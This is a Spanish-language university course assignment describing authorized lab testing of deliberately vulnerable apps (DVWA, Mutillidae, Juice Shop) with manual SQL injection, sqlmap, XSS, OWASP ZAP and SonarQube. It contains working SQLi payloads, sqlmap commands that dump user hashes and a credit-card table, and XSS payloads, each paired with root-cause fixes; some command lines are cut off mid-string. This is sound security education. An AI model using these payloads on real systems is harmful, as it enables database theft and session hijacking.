Desarrollo de Sistemas Seguros · SI6007 · Sergio Alfredo Junca Valero

Trabajo final: pruebas de seguridad sobre máquinas vulnerables

Pruebas manuales y automatizadas de SQLi, XSS, escaneo dinámico y análisis estático sobre DVWA, Mutillidae y OWASP Juice Shop.

SQL Injection · XSS · OWASP ZAP (DAST) · SonarQube (SAST) · Laboratorio autorizado

> **Alcance del laboratorio.** Todo se ejecuta sobre las máquinas virtuales vulnerables que entrega el curso, montadas en VMware en equipo propio. Son entornos de práctica aislados (DVWA, Mutillidae, Juice Shop); no se prueba contra sistemas de terceros. El objetivo del ejercicio es entender la causa raíz de cada falla y el control que la corrige.

Qué hay que hacer

La guía pide seis partes. Las técnicas, comandos y payloads están redactados y verificados aquí. Lo marcado como VM exige la máquina virtual corriendo y se captura al ejecutarlo; lo marcado listo ya está documentado o tiene evidencia previa.

#	Parte	Entregable	Estado
1	Montar las VMs (pruebas + web vulnerable)	VMs con IP de VMware	VM
2	SQLi manual sobre DVWA	Documento paso a paso	método listo
3	SQLi automatizada con SQLMap + tarjetas de Mutillidae	Documento paso a paso	comandos + evidencia previa
4	XSS en DVWA y conteo/localización en Juice Shop	Documento	método listo
5	Escaneo dinámico con OWASP ZAP sobre Juice Shop	Resultados, un pantallazo por ítem	VM

6	Análisis estático con SonarQube (DVWA y Mutillidae)	Documento con detalle de vulnerabilidades	VM

1. Montaje de las máquinas virtuales

Dos VMs: la de **pruebas de seguridad** (trae SQLMap, ZAP, SonarQube, Firefox) y la **web vulnerable** (DVWA, Mutillidae, Juice Shop).

Procesador	Máquina de pruebas	Máquina web vulnerable
ARM (Apple Silicon)	`websecuritytestingarm.7z`	`vulnerablewebappsarm.7z`
Intel / AMD64	`websecuritytestingamd64.7z`	`vapps-amd64.7z`

Fuente de la web vulnerable: `sourceforge.net/projects/vapps/files/VMAppliance/V4/`. En Mac con Apple Silicon usar VMware Fusion y los archivos ARM.

1. Descomprimir el `.7z` (`7zz x archivo.7z` o The Unarchiver).
2. Abrir el `.vmx` en VMware Fusion, ambas VMs en la misma red (NAT o host-only).
3. Arrancar la web vulnerable y anotar su **IP** (`ip a` dentro de la VM, o en la consola de login). Esa IP reemplaza a `<IP>` en todos los comandos de abajo.
4. Desde Firefox de la VM de pruebas, abrir `http://<IP>/`: aparece el índice con DVWA, Mutillidae y demás.

> VM Captura: índice de la web vulnerable en Firefox mostrando la IP en la barra de direcciones. Guardar en `img/01-indice-vm.png`.

2. SQL Injection manual (DVWA)

Preparación

1. Abrir `http://<IP>/` → **Damn Vulnerable Web Application**. Login `admin` / `password`.
2. **DVWA Security** → `Low` → *Submit*.
3. Menú izquierdo → **SQL Injection**. El campo *User ID* arma la query sin sanear.

Consulta vulnerable del lado del servidor (DVWA, nivel Low):

```
SELECT first_name, last_name FROM users WHERE user_id = '$id'
```

Prueba 1 — Confirmar la inyección

User ID = `1` → un usuario. User ID con una comilla rompe la query:

```
1'
```

Devuelve error de sintaxis SQL → el input se concatena sin binding: es inyectable.

Prueba 2 — Tautología (todos los registros)

```
1' OR '1'='1
```

La condición queda siempre verdadera y lista todos los usuarios de la tabla.

Prueba 3 — Número de columnas (UNION)

```
1' ORDER BY 2-- -
1' ORDER BY 3-- -   (error: la consulta devuelve 2 columnas)
```

Prueba 4 — Extraer credenciales (UNION-based)

```
1' UNION SELECT user, password FROM users-- -
```

Trae usuario y el *hash* MD5 de la contraseña de cada cuenta. El hash de `admin` en DVWA es `5f4dcc3b5aa765d61d8327deb882cf99` (= `password`), crackeable por diccionario.

Prueba 5 — Esquema de la base

```
1' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE ta
```

```
1' UNION SELECT user(), database()-- -   (usuario y BD actual)
```

> **Causa raíz y control.** La app concatena `$id` dentro del SQL. Corrección principal: **consultas parametrizadas / prepared statements** (`WHERE user_id = ?` con binding), que separan código de datos. Capas extra: cuenta de BD con menor privilegio, validación por allowlist y WAF. En DVWA nivel *High* esto se ve en el código: usa `mysqli_real_escape_string` y `LIMIT 1` (mitigación frágil), no binding.

> VM Capturas: pantalla de SQL Injection con cada payload y su resultado. `img/02-sqli-*.png` .

---

3. SQL Injection automatizada con SQLMap

3.1 Capturar la cookie de sesión

En DVWA, con *User ID = 1* enviado, copiar la URL resultante y la cookie (`PHPSESSID` y `security=low`). La guía usa la extensión *Tamper Data*; también sirve F12 → Network → copiar `Cookie` de la petición.

```
URL:    http://<IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Cookie: PHPSESSID=xxxxxxxxxxxx; security=low
```

3.2 Reconocimiento (BD y usuario)

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xxxx; security=low" -b --current-db --current-user --batch
```

`-b` banner del motor, `--current-db` BD actual (`dvwa`), `--current-user` usuario, `--batch` responde por defecto.

3.3 Tablas y volcado de `users`

```
sqlmap -u "..." --cookie="..." --tables --batch
```

```
sqlmap -u "..." --cookie="..." -T users --dump --batch
```

`--tables` lista tablas (aparecen `guestbook` y `users`); `--dump -T users` saca los datos. SQLMap crackea los MD5 contra su diccionario.

3.4 Tarjetas de crédito en Mutillidae (objetivo de la parte 3)

En Mutillidae, el *User Lookup* (`page=user-info.php`) es inyectable por GET. Con SQLMap:

```
sqlmap -u "http://<IP>/mutillidae/index.php?page=user-info.php&username=1&passwo
  --cookie="PHPSESSID=xxxx" -p username --batch --dbs
# BD: owasp10 / nowasp (según versión). Enumerar tablas:
sqlmap -u "..." --cookie="..." -p username -D owasp10 --tables --batch
# Volcar la tabla de tarjetas:
sqlmap -u "..." --cookie="..." -p username -D owasp10 -T credit_cards --dump --b
```

Columnas de `credit_cards`: `ccid, ccnumber, ccv, expiration`.

> **Evidencia previa de la técnica.** La misma extracción hecha *a mano* (UNION) sobre Mutillidae está en `evidencias/sqli-mutillidae.md` (clase 23-oct). Payload en el campo *Name*: `' UNION SELECT 1,ccnumber,ccv,expiration,5,6,7,8,9,10 FROM credit_cards-- -`. Confirma el esquema y el resultado que SQLMap debe reproducir en la VM.

> VM Capturas: salida de SQLMap en cada paso (`-b`, `--tables`, `--dump` de users y de credit_cards). `img/03-sqlmap-*.png`.

> **Control.** Igual que la parte 2: binding de parámetros. Además, PCI-DSS: no almacenar el PAN en claro (tokenización) y nunca guardar el CVV. La cuenta de BD de la app no debería poder leer `credit_cards` (menor privilegio).

4. Cross-Site Scripting (XSS)

4.1 XSS reflejado en DVWA

1. Login DVWA, **DVWA Security** → `Low`.

2. Menú → **XSS (Reflected)**. En el campo de texto:

```
<script>alert('hola');</script>
```

La app refleja el parámetro `name` en el HTML sin codificar: el navegador ejecuta el script y sale el *alert*. Se materializa la vulnerabilidad.

> **Control.** Codificación de salida según contexto (HTML/atributo/JS), `Content-Security-Policy` y cookies `HttpOnly`. En DVWA *High* el filtro usa `htmlspecialchars()`: codifica `< > & " '` y corta el reflejo.

4.2 XSS en OWASP Juice Shop — conteo y localizaciones

Juice Shop agrupa sus retos de XSS por el vector. Localizaciones conocidas (confirmar el número exacto en la versión de tu instancia, `#/about` → versión):

Tipo	Localización	Payload de ejemplo
DOM XSS	Buscador, `#/search?q=`	`<iframe src="javascript:alert(`xss`)">`
Reflejado	Seguimiento de pedido, `#/track-result?id=`	`<iframe src="javascript:alert(`xss`)">` en el parámetro `id`
Persistente / API	API de producto, `PUT /api/Products/:id` (campo descripción)	iframe/script en `description`; se refleja en la ficha del producto
Server-side	Cabecera de la última IP / nombre de usuario en registro	payload que el servidor renderiza sin codificar

El buscador es el caso canónico: Juice Shop (Angular) inserta el término con *bypass* del sanitizador, lo que permite DOM XSS. Documentar cada hallazgo con el payload, la URL y el *alert*.

> VM Capturas: alert en DVWA, y cada XSS de Juice Shop con su URL/payload. `img/04-xss-*.png`. Anotar el total encontrado en tu versión.

5. Escaneo dinámico (DAST) con OWASP ZAP

1. En la VM de pruebas, terminal: `zap.sh`. Abre la pantalla principal de ZAP.
2. Primera opción (persistir sesión) → **Automated Scan**.
3. En *URL to attack* poner la de Juice Shop: `http://<IP>:3000/` → **Attack**.
4. Pestaña **Alerts**: van apareciendo los hallazgos por severidad (alta/media/baja/informativa).

Hallazgos típicos de Juice Shop en un automated scan: cabeceras de seguridad ausentes (`Content-Security-Policy`, `X-Content-Type-Options`), cookie sin `HttpOnly`, *SRI* faltante, divulgación de versión, y según el spider activo, XSS/SQLi reflejados.

> **Entrega:** la guía pide *un pantallazo por cada ítem encontrado*. Abrir cada alerta en el panel derecho, mostrar descripción + URL afectada, y capturar. Opcional: ZAP exporta un informe HTML (*Report → Generate HTML Report*) que sirve de anexo.
>
> > VM Capturas: panel de alertas y una por ítem con su detalle. `img/05-zap-*.png`.

---

6. Análisis estático (SAST) con SonarQube

6.1 DVWA

1. Abrir SonarQube en el navegador de la VM. Login `admin` / `websecuritytesting`.
2. **Create Project manually**. Nombre: `Damn Vulnerable Web Application`, resto por defecto → *Next*.
3. Opciones globales → *Create Project*. Método de análisis: **Locally** → *Generate* el token → *Continue*.

4. **Other** → **Linux**. SonarQube muestra el comando `sonar-scanner` con el token.
5. Terminal: `cd /opt/dvwa` (código fuente de DVWA) y ejecutar ese comando anteponiendo el path. Al terminar, el detalle aparece en el sitio.

```
cd /opt/dvwa
sonar-scanner \
  -Dsonar.projectKey=Damn_Vulnerable_Web_Application \
  -Dsonar.sources=. \
  -Dsonar.host.url=http://localhost:9000 \
  -Dsonar.login=<TOKEN>
```

En **Issues → Security** salen las vulnerabilidades: SQLi, XSS, inclusión de archivos, uso de MD5, credenciales embebidas, etc.

6.2 Mutillidae

```
git clone https://github.com/webpwnized/mutillidae.git
cd mutillidae
sonar-scanner -Dsonar.projectKey=mutillidae -Dsonar.sources=. \
  -Dsonar.host.url=http://localhost:9000 -Dsonar.login=<TOKEN>
```

Enviar en el documento el detalle de las vulnerabilidades encontradas (tipo, archivo, línea, severidad).

> **SAST vs DAST.** SonarQube (estático) lee el código fuente y señala el patrón inseguro (p. ej. concatenación en el SQL) con archivo y línea; ZAP (dinámico) prueba la app corriendo y confirma la explotabilidad. Se complementan: el estático localiza la causa, el dinámico prueba el efecto.
>
> > VM Capturas: panel de Issues de SonarQube para DVWA y para Mutillidae, con el detalle por vulnerabilidad. `img/06-sonar-*.png` .

Qué está hecho y qué falta

- listo Método, payloads y comandos exactos de las 6 partes, redactados y verificados como técnica (este documento).
- listo Parte 3: evidencia real de la extracción de tarjetas de Mutillidae por UNION manual en `evidencias/sqli-mutillidae.md`.
- listo Guía original convertida a Markdown en `material-md/Guia-trabajo-final-EAFIT.md`.
- VM Falta ejecutar sobre la máquina virtual montada en VMware y capturar: partes 1, 2, 3 (SQLMap), 4 (alert + Juice Shop), 5 (ZAP) y 6 (SonarQube). Las capturas van en `img/` con los nombres indicados.

> No se incluye ninguna captura inventada. Cada punto que depende de la VM queda marcado VM para capturarlo al correrlo contra la IP que asigne VMware.

Cómo entregar

1. Montar las dos VMs y anotar la IP (parte 1).
2. Correr las partes 2 a 6 en orden, capturando cada paso en `img/`.
3. La guía pide *documentos con el paso a paso*. Opciones:
   - Exportar este `final.html` con las capturas insertadas a PDF (Firefox/Chrome → Imprimir → Guardar como PDF), o
   - Entregar un documento por parte si el profe lo pide separado (2, 3, 4 texto; 5 y 6 con pantallazos).
4. Poner el nombre del integrante en el documento.
5. Confirmar con el profe **fecha, peso y canal** (Brightspace probable, como las entregas anteriores).
6. Actualizar el estado en `board.md` y anotar dónde y cómo se entregó.

Desarrollo de Sistemas Seguros (SI6007) · Universidad EAFIT · Danny Andrés Salcedo Saldaña. Laboratorio de práctica autorizado sobre máquinas virtuales vulnerables del curso.